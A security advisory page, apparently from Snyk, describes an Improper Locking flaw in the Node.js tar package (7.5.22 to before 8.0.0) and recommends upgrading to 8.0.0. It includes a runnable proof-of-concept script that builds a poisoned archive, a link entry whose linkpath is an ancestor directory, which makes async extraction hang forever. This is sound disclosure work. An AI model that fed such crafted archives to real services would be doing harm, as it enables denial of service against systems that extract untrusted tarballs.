Improper Locking Affecting tar package, versions >=7.5.22 <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.59% (50th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-TAR-23314589
  • published2 Dec 2026
  • disclosed1 Dec 2026
  • creditMohsin Mukhtiar Lashari

Introduced: 1 Dec 2026

NewCVE-2026-140251  (opens in a new tab)
CWE-667  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Locking via the PathReservations path-reservation queue in src/path-reservations.ts during asynchronous archive extraction on POSIX systems. When a Link or SymbolicLink entry has a linkpath that is an ancestor or descendant directory of the entry's own path, the reserve() call writes the same queue key twice - once as a function head and once as a directory Set - causing check() to permanently return false. The promise returned by tar.x() / tar.extract() never resolves or rejects, the stream never emits end, finish, or close, and every entry after the poison entry is silently skipped, resulting in a permanent hang.

Note: This is only exploitable when using asynchronous extraction on POSIX systems; synchronous extraction and extraction on Windows are unaffected.

PoC

Validated on president-xd/node-tar main @ 2a22bfc (version 7.5.22) and against the published npm package tar@7.5.22, on Linux, Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs
const { Header, x } = require('tar')
const fs = require('fs')
const dir = '/tmp/resv-hang'; fs.rmSync(dir, {recursive:true, force:true}); fs.mkdirSync(dir, {recursive:true})
const b = Buffer.alloc(512)
new Header({ path: 'a/b', type: 'Link', linkpath: 'a', size: 0, mode: 0o644 }).encode(b, 0) // linkpath 'a' is ancestor of 'a/b'
fs.writeFileSync(dir + '/poison.tar', Buffer.concat([b, Buffer.alloc(1024)]))
let settled = 'NEVER'
x({ cwd: dir, file: dir + '/poison.tar' }).then(() => settled='RESOLVED').catch(() => settled='REJECTED')
const keepalive = setInterval(() => {}, 100) // hold the loop open so an unsettled promise is a true hang
setTimeout(() => { clearInterval(keepalive); console.log('result:', settled); process.exit(0) }, 4000)

Observed output:

result: NEVER      // no warning, no resolution, no rejection

Control archive with linkpath: 'c' (a sibling, not a hierarchical relative) resolves in the same harness with a single TAR_ENTRY_ERROR warning. The PAX-linkpath route (14 linkpath=a\n before a File at a/b) and the GNU K route both hang identically; their sibling controls both resolve.

Note: Validated on tar@7.5.22 on Linux with Node v24.19.0.

CVSS Base Scores

version 4.0
version 3.1